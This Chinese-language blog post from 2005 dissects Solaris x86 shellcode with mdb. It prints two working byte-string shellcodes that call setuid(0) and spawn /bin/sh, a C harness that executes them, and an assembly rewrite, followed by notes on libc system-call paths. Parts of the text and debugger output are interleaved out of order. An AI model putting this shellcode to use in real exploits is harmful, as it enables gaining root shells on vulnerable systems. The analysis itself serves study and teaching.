作者: Badcoffee
Email: blog.oliver@gmail.com
Blog: http://blog.csdn.net/yayong
2005年7月
下面是test1.c的源代码:
static char sh[] = "\x31\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x5f\x68\x2f\x62\x69\x6e\x88\x44\x24\x07\x89\xe3\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51\x53\xb0\x0b\xe8\xcb\xff\xff\xff";
int main() {
void (*f)();
f = (void*)sh;
f();
return 0;
}
bash-3.00# gcc test1.c -o test1
bash-3.00# ./test1
# <--- 提示符改变,说明/bin/sh已经被运行,shell code执行成功
# mdb ./test1
> main::dis
main: pushl %ebp
main+1: movl %esp,%ebp ---> 建立main函数的Stack Frame
main+3: subl x8,%esp
main+6: andl xfffffff0,%esp
main+9: movl x0,%eax
main+0xe: addl xf,%eax
main+0x11: addl xf,%eax
main+0x14: shrl x4,%eax
main+0x17: shll x4,%eax
main+0x1a: subl %eax,%esp ---> main+3至main+0x1a的作用使main函数的栈对齐
main+0x1c: movl x8060a40,-0x4(%ebp) ---> 把数据段的sh的地址赋值给函数指针
main+0x23: movl -0x4(%ebp),%eax
main+0x26: call *%eax ---> 调用shell code
main+0x28: movl x0,%eax
main+0x2d: leave
main+0x2e: ret
> 0x8060a40=p ---> 将地址转换为符号
test1`sh ---> 可以看到,该地址就是sh的起始地址
> sh,1a/ai
test1`sh:
test1`sh: xorl %eax,%eax
test1`sh+2: jmp +0xb ---> 1. 向前跳转到地址test1`sh+0xd
test1`sh+4: popl %edx ---> 3. 将lcall指令的地址从栈中弹出到edx
test1`sh+5: movl %eax,0x1(%edx)
test1`sh+8: movb %al,0x6(%edx) ---> 4. test1`sh+5和test1`sh+8将会把lcall指令修改成Solaris的标准的系统调用指令lcall x7,x0
test1`sh+0xb: jmp +0xf ---> 5. 向前跳转到地址test1`sh+0x1a
test1`sh+0xd: call -0x9 ---> 2. 向后调用到地址test1`sh+4指令,同时下条指令lcall的地址test1`sh+0x12将作为返回地址压栈
test1`sh+0x12: lcall x107,x1010101 ---> 9. 步骤4中已经将lcall指令修改为lcall x7,x0,新的lcall的作用是通过调用门进入Solaris内核执行系统调用
test1`sh+0x19: ret ---> 10.从setuid系统调用返回后,再执行返回指令会使xorl指令地址test1`sh+0x22从栈中弹出到eip中,使cpu从xorl处执行
test1`sh+0x1a: pushl %eax ---> 6. 此时eax寄存器的值是0,将0压栈是为构造setuid调用的入口参数,并且其值为0,即root的id
test1`sh+0x1b: movb x17,%al ---> 7. 把setuid的系统调用号0x17放入到eax,是Solaris系统调用的要求
test1`sh+0x1d: call -0xb ---> 8. 向后调用地址test1`sh+0x12指令,此时lcall指令已经被修改了(见步骤4),同时将下条xorl指令的地址test1`sh+0x22压栈
test1`sh+0x22: xorl %eax,%eax ---> 11.用xorl指令来给eax寄存器内容清零,常见的快速清零指令
test1`sh+0x24: pushl x5f68732f
test1`sh+0x29: pushl x6e69622f ---> 12.test1`sh+0x24和test1`sh+0x29将8个字符"/bin/sh_"压入栈中
test1`sh+0x2e: movb %al,0x7(%esp) ---> 13.修改前面压入栈中的第8个字符,改为寄存器al中的值,即0;此时8个字符形成以""结尾的字符串:"/bin/sh"
test1`sh+0x32: movl %esp,%ebx ---> 14.将栈顶esp地址移入ebx,即“/bin/sh"串的地址存入ebx寄存器
test1`sh+0x34: pushl %eax ---> 15.将0压栈,这是exec的调用的第2个参数的第2个元素地址
test1`sh+0x35: pushl %ebx ---> 16.将ebx内容压栈,即将"/bin/sh"串的地址压栈,这是exec调用的第2个参数的第一个元素的地址
test1`sh+0x36: leal (%esp),%ecx ---> 17.将栈顶esp的地址存入ecx,即"/bin/sh"串的地址的地址存入ecx
test1`sh+0x39: leal 0x4(%esp),%edx ---> 18.将栈的esp+4的地址存入edx,即把步骤15压入栈的0的地址存入edx。本条指令没有实际意义
test1`sh+0x3d: pushl %edx ---> 19.将edx压栈,即将栈中“0”的地址压入栈;本条指令没有实际意义
test1`sh+0x3e: pushl %ecx ---> 20.将ecx压栈,即将“/bin/sh"串地址的地址压入栈;这是exec调用的第2个参数
test1`sh+0x3f: pushl %ebx ---> 21.将ebx内容压栈,即"/bin/sh"串的地址压栈,这是exec调用的第1个参数
test1`sh+0x40: movb xb,%al ---> 22.将exec的系统调用号0xb放入eax寄存器,这是Solaris系统调用的要求
test1`sh+0x42: call -0x30 ---> 23.向后调用test1`sh+0x12地址处的指令,即lcall x7,x0,调用exec系统调用
test1`sh+0x12: lcall x107,x1010101 ---> 9. 步骤4中已经将lcall指令修改为lcall x7,x0,新的lcall的作用是通过调用门进入Solaris内核执行系统调用虽然这个lcall指令并没有调用x7和x27,但是如果用mdb来跟踪一下,就会发现,原来在程序运行过程中这条lcall指令会被动态修改成为
lcall x7,x0具体的修改指令如下:
test1`sh+4: popl %edx ---> 3. 将lcall指令的地址从栈中弹出到edx在调用系统调用的指令之前,Solaris要求把系统调用号存入eax寄存器,因此,我们可以根据lcall执行前的eax的值查到这段shell code究竟使用了哪些系统调用:
test1`sh+5: movl %eax,0x1(%edx)
test1`sh+8: movb %al,0x6(%edx) ---> 4. test1`sh+5和test1`sh+8将会把lcall指令修改成Solaris的标准的系统调用指令lcall x7,x0
# vi /etc/name_to_sysnum如果读过阅读笔记:如何给OpenSolaris增加一个系统调用这篇文章就知道,在内核中维护着一张系统调用号和内核处理函数指针的表。就在sysent.c里的sysent结构中可以找到相关的定义:
........
exec 11 ---> 16进制的0xb
........
setuid 23 ---> 16进制的0x17
........
/* 11 */ SYSENT_CI("exec", exec, 2),
/* 23 */ SYSENT_CI("setuid", setuid, 1),
/*同样的,setuid调用的入口函数,就在usr/src/uts/common/syscall/uid.c中:
* exec() - wrapper around exece providing NULL environment pointer
*/
int
exec(const char *fname, const char **argp)
{
return (exece(fname, argp, NULL)); ---> 调用了内核中的另一个入口点exece,该入口对应用户层libc中的execve函数。
}
int现在我们知道这段shell code使用了系统调用setuid(2)和exec(2),在用户层setuid的定义是:
setuid(uid_t uid)
{
........
}
int setuid(uid_t uid);但用户层却找不到名字与exec相同的函数定义,只有execv的参数和内核函数exec最接近:
int execv(const char *path, char *const argv[]);把这段shell code对应成c语言,大概是如下形式:
# vi test2.c如果将test2.c和libc.a静态链接起来,就可以得到进入系统调用的汇编指令,但是Solaris 10已经不提供libc.a了。
#include <sys/types.h>
#include <unistd.h>
int main()
{
char *argv[2]={"/bin/sh", NULL};
setuid(0);
execv(argv[0],argv);
return 0;
}
> main+0x26:b ---> 设置断点
> test1`sh+0xd:b ---> 设置断点
> :r ---> 运行test1
mdb: stop at main+0x26
mdb: target stopped at:
main+0x26: call *%eax ---> test1运行到断点main+0x26处,停止,下句指令就要调用shell code
> :c ---> 继续运行
mdb: stop at test1`sh+0xd
mdb: target stopped at:
test1`sh+0xd: call -0x9 <test1`sh+4> ---> 断点处停止
> <esp,10/nap;<eax=X; ---> 输出当前Stack的内容和eax寄存器的值
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0 ---> 此时eax的值为0
> :s;<esp,10/nap;<eax=X; ---> 单步运行,并输出Stack和eax寄存器的值
mdb: target stopped at:
test1`sh+4: popl %edx
0x8047438:
0x8047438: test1`sh+0x12 ---> 根据注释2,lcall指令的地址被压栈
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0
> :s;<esp,10/nap;<eax=X;<edx=X ---> 单步运行,输出Stack和eax及edx的内容
mdb: target stopped at:
test1`sh+5: movl %eax,0x1(%edx) ---> 根据注释4,这条指令将会修改lcall指令
0x804743c:
0x804743c: main+0x28 ---> 根据注释3,lcall指令地址被弹出,栈顶恢复到原来的值
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
8060a52 ---> 这是edx寄存器的值
> 8060a52/ai ---> 将edx指向的内容转换成汇编指令
test1`sh+0x12:
test1`sh+0x12: lcall x107,x1010101 ---> 恰好是edx指向的恰好是lcall指令,正如注释3所说
> :s;<esp,10/nap;<eax=X;<edx=p ---> 单步运行,输出Stack和eax的值,输出edx的值,edx值按地址显示
mdb: target stopped at:
test1`sh+8: movb %al,0x6(%edx) ---> 根据注释4,这条指令将会修改lcall指令
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
test1`sh+0x12 ---> edx的内容已经按地址显示,正好是lcall指令的地址
> test1`sh+0x12/ai ---> 将地址处的二进制数转换指令
test1`sh+0x12:
test1`sh+0x12: lcall x107,x0 ---> 注意,lcall指令已经被修改了一部分
> :s;<esp,10/nap;<eax=X;<edx=p
mdb: target stopped at:
test1`sh+0xb: jmp +0xf <test1`sh+0x1a>
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
test1`sh+0x12
> test1`sh+0x12/ai
test1`sh+0x12:
test1`sh+0x12: lcall x7,x0 ---> 至此,lcall指令修改完毕,正好是Solaris的系统调用的指令
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x1a: pushl %eax
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x1b: movb x17,%al
0x8047438:
0x8047438: 0 ---> 根据注释6,这是setuid调用的第一个参数
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x1d: call -0xb <test1`sh+0x12>
0x8047438:
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
17 ---> 根据注释7,setuid的系统调用号已经被存入eax
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x12: lcall x7,x0 ---> 进入setuid系统调用前夕,调用号和调用入口参数已准备好
0x8047434:
0x8047434: test1`sh+0x22 ---> 根据注释8,我们看到,setuid返回后的地址被压栈
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
17
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x19: ret
0x8047434:
0x8047434: test1`sh+0x22 ---> 根据注释10,执行返回指令后,该地址将被弹出到eip
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x22: xorl %eax,%eax ---> 返回到了前面弹出栈的地址,马上要执行清零,见注释11
0x8047438:
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0
> test1`sh+0x2e:b
> :c
mdb: stop at test1`sh+0x2e
mdb: target stopped at:
test1`sh+0x2e: movb %al,0x7(%esp)
> <esp,10/nap;<eax=X;
0x8047430:
0x8047430: 0x6e69622f ---> 这时注释12所描述的被压入栈的"/bin/sh_"
0x8047434: 0x5f68732f
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0
> 0x8047430/s ---> 将当前栈顶的内容按字符串输出,可以看到正如注释12描述的情形
0x8047430: /bin/sh_
> test1`sh+0x42:b
> :c
mdb: stop at test1`sh+0x42
mdb: target stopped at:
test1`sh+0x42: call -0x30 <test1`sh+0x12> ---> 即将调用exec系统调用,我们可以检查是否准备好入口参数和调用号
> <esp,10/nap;<eax=X;
0x804741c:
0x804741c: 0x8047430
0x8047420: 0x8047428
0x8047424: 0x804742c
0x8047428: 0x8047430
0x804742c: 0
0x8047430: 0x6e69622f
0x8047434: 0x68732f
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
b ---> 这是exec的调用号,已经存入eax
> 0x8047430/s
0x8047430: /bin/sh ---> exec第一个参数:const char *fname
> 0x8047428/X
0x8047428: 0x8047430 ---> exec第二个参数:const char **argp
> 0x8047430/s
0x8047dc0: /bin/sh ---> exec第二个参数的第一个元素:argp[0]
> 0x8047438/X
0x8047438: 0 ---> exec第二个参数第二个元素: argp[1]
>
> :s
mdb: target stopped at:
test1`sh+0x12: lcall x7,x0
# elfdump test1 | grep sh
...................
[48] 0x08060a40 0x00000048 OBJT LOCL D 0 .data sh
...................
test1`sh+0x39: leal 0x4(%esp),%edx ---> 18.将栈的esp+4的地址存入edx,即把步骤15压入栈的0的地址存入edx。本条指令没有实际意义基于前面test1的反汇编的结果,去掉上面提到的语句后,我们可以得到一段汇编程序:
test1`sh+0x3d: pushl %edx ---> 19.将edx压栈,即将栈中“0”的地址压入栈;本条指令没有实际意义
# vi test3.s
.text
.globl main
.type main, @function
main:
xorl %eax,%eax
jmp 2f
1:
lcall x07,x0
ret
2:
pushl %eax
movb x17,%al
call 1b
xorl %eax,%eax
pushl x0068732f
pushl x6e69622f
movl %esp,%ebx
pushl %eax
pushl %ebx
leal (%esp),%ecx
pushl %ecx
pushl %ebx
movb xb,%al
call 1b
.size main, .-main
# as test3.s -o test3.o
# ld test3.o -o test3
# elfdump test3 | grep main
[4] 0x080501d4 0x00000030 FUNC GLOB D 0 .text main
[17] 0x080501d4 0x00000030 FUNC GLOB D 0 .text main
5 [4] main
# dis -F main ./test3
**** DISASSEMBLER ****
disassembly for ./test3
section .text
main()
main: 33 c0 xorl %eax,%eax
main+0x2: eb 08 jmp +0xa
main+0x4: 9a 00 00 00 00 07 00 lcall x7,x0
main+0xb: c3 ret
main+0xc: 50 pushl %eax
main+0xd: b0 17 movb x17,%al
main+0xf: e8 f0 ff ff ff call -0xb
main+0x14: 33 c0 xorl %eax,%eax
main+0x16: 68 2f 73 68 00 pushl x68732f
main+0x1b: 68 2f 62 69 6e pushl x6e69622f
main+0x20: 8b dc movl %esp,%ebx
main+0x22: 50 pushl %eax
main+0x23: 53 pushl %ebx
main+0x24: 8d 0c 24 leal (%esp),%ecx
main+0x27: 51 pushl %ecx
main+0x28: 53 pushl %ebx
main+0x29: b0 0b movb xb,%al
main+0x2b: e8 d4 ff ff ff call -0x27
static char sh[] =
"\x31\xc0\xeb\x08\x9a\x00\x00\x00\x00\x07\x00\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8d\x0c\x24\x51\x53\xb0\x0b\xe8\xcf\xff\xff\xff";
#include "SYS.h"
ANSI_PRAGMA_WEAK2(_private_setuid,_setuid,function)
SYSCALL_RVAL1(setuid)
RETC
SET_SIZE(setuid)
#include "SYS.h"
ANSI_PRAGMA_WEAK2(_private_execve,execve,function)
SYSCALL_RVAL1(execve)
SET_SIZE(execve)
/*
* Like ANSI_PRAGMA_WEAK(), but for unrelated names, as in:
* #pragma weak sym1 = sym2
*/
#define ANSI_PRAGMA_WEAK2(sym1, sym2, stype) \
.weak sym1; \
.type sym1, @stype; \
sym1 = sym2
#pragma weak sym1 = sym2用nm命令可以验证一下这个宏的实际作用:
# nm /lib/libc.so.1 | grep setuid可以看到,_private_setuid和_setuid及setuid是多个符号对应着同一个函数。
[712] | 647744| 21|FUNC |LOCL |2 |10 |_private_setuid
[6643] | 647744| 21|FUNC |GLOB |0 |10 |_setuid
[6473] | 647744| 21|FUNC |WEAK |0 |10 |setuid
# nm /lib/libc.so.1 | grep execSET_SIZE 这个宏的作用是定位函数并为ELF文件的符号表指示长度,其实展开就是Solaris汇编器的伪指令.size:
#define SET_SIZE(x) \RETC这个宏是用来定义系统调用的返回指令,在libc的源代码SYS.h中,可以找到如下定义:
285 .size x, [.-x]
/*可以看到注释中的说明,RETC的宏在返回前将return code强制设为0。
* Syscall return sequence with return code forced to zero.
*/
#define RETC \
xorl %eax, %eax; \
ret
#if defined(_SYSC_INSN) --->兼容AMD64位的系统
#define SYSTRAP_RVAL1(name) __SYSCALL(name)
#define SYSTRAP_RVAL2(name) __SYSCALL(name)
#define SYSTRAP_2RVALS(name) __SYSCALL(name)
#define SYSTRAP_64RVAL(name) __SYSCALL(name)
#else /* _SYSC_INSN */
#if defined(_SEP_INSN) --->兼容IA32的支持快速系统调用的系统
#define SYSTRAP_RVAL1(name) __SYSENTER(name)
#else /* _SEP_INSN */
#define SYSTRAP_RVAL1(name) __SYSCALLINT(name)
#endif /* _SEP_INSN */
#define SYSTRAP_RVAL2(name) __SYSCALLINT(name)
#define SYSTRAP_2RVALS(name) __SYSCALLINT(name)
#define SYSTRAP_64RVAL(name) __SYSCALLINT(name)
#endif /* _SYSC_INSN */
#define __SYSCALLINT(name) \在usr/src/uts/intel/ia32/sys/trap.h中,可以找到T_SYSCALLINT的值:
/* CSTYLED */ \
movl $SYS_/**/name, %eax; \
int $T_SYSCALLINT
#define T_SYSCALLINT 0x91 /* general system call */可以看到,OpenSolaris标准的libc用的是int x91的方式。
> grep SYSTRAP_RVAL1 SYS.h
#define SYSTRAP_RVAL1(name) __SYSCALL(name)
#define SYSTRAP_RVAL1(name) __SYSENTER(name)
#define SYSTRAP_RVAL1(name) __SYSLCALL(name)
#define __SYSLCALL(name) \
/* CSTYLED */ \
movl $SYS_/**/name, %eax; \
lcall $SYSCALL_TRAPNUM,
#define SYS_setuid 23 ---> 这个值就是16进制的0x17就在sysent.c里的sysent结构中可以找到调用号59对应的入口:
#define SYS_execve 59 ---> 这个值不是0xb,说明execve和exec是两个不同的系统调用
/* 59 */ SYSENT_CI("exece", exece, 3),原来内核中另外还有一个exece的入口点,来支持libc中的execve进入系统调用。如前所述,内核中的exec函数是调用号11的入口点,再回头看它的代码,实际上它就是直接在内核中调用exece来实现的。
# df -h
Filesystem size used avail capacity Mounted on
/dev/dsk/c0d0s0 11G 4.3G 6.2G 42% /
objfs 0K 0K 0K 0% /system/object
/usr/lib/libc/libc_hwcap1.so.1
11G 4.3G 6.2G 42% /lib/libc.so.1 ---> 可以看到libc_hwcap1.so.1 mount在了这里
swap 872M 8K 872M 1% /tmp
swap 872M 28K 872M 1% /var/run
/dev/dsk/c0d0s7 25G 12G 13G 49% /export/home
# umount /lib/libc.so.1
# mdb /lib/libc.so.1 ---> 因为umount了,所以这时的libc是标准的libc
Loading modules: [ libc.so.1 ]
> setuid::dis
setuid: movl x17,%eax
setuid+5: lcall x27,x0
setuid+0xc: jb -0x807ac <__cerror>
setuid+0x12: xorl %eax,%eax
setuid+0x14: ret
> execve::dis
execve: movl x3b,%eax
execve+5: lcall x27,x0
execve+0xc: jb -0x7febc <__cerror>
# mdb /usr/lib/libc/libc_hwcap1.so.1 ---> IA32兼容的优化版libc,使用的是快速系统调用sysenter
> setuid::dis
setuid: call +0x5
setuid+5: popl %edx
setuid+6: movl x17,%eax
setuid+0xb: movl %esp,%ecx
setuid+0xd: addl x10,%edx
setuid+0x13: sysenter
setuid+0x15: jb -0x80b55 <__cerror>
setuid+0x1b: xorl %eax,%eax
setuid+0x1d: ret
> execve::dis
execve: call +0x5
execve+5: popl %edx
execve+6: movl x3b,%eax
execve+0xb: movl %esp,%ecx
execve+0xd: addl x10,%edx
execve+0x13: sysenter
execve+0x15: jb -0x80185 <__cerror>
# mdb /usr/lib/libc/libc_hwcap2.so.1 ---> AMD64兼容的优化版libc,使用的是快速系统调用syacall
> setuid::dis
setuid: movl x17,%eax
setuid+5: syscall
setuid+7: jb -0x80347 <__cerror>
setuid+0xd: xorl %eax,%eax
setuid+0xf: ret
> execve::dis
execve: movl x3b,%eax
execve+5: syscall
execve+7: jb -0x7fde7 <__cerror>
Technorati Tag: OpenSolaris
Technorati Tag: Solaris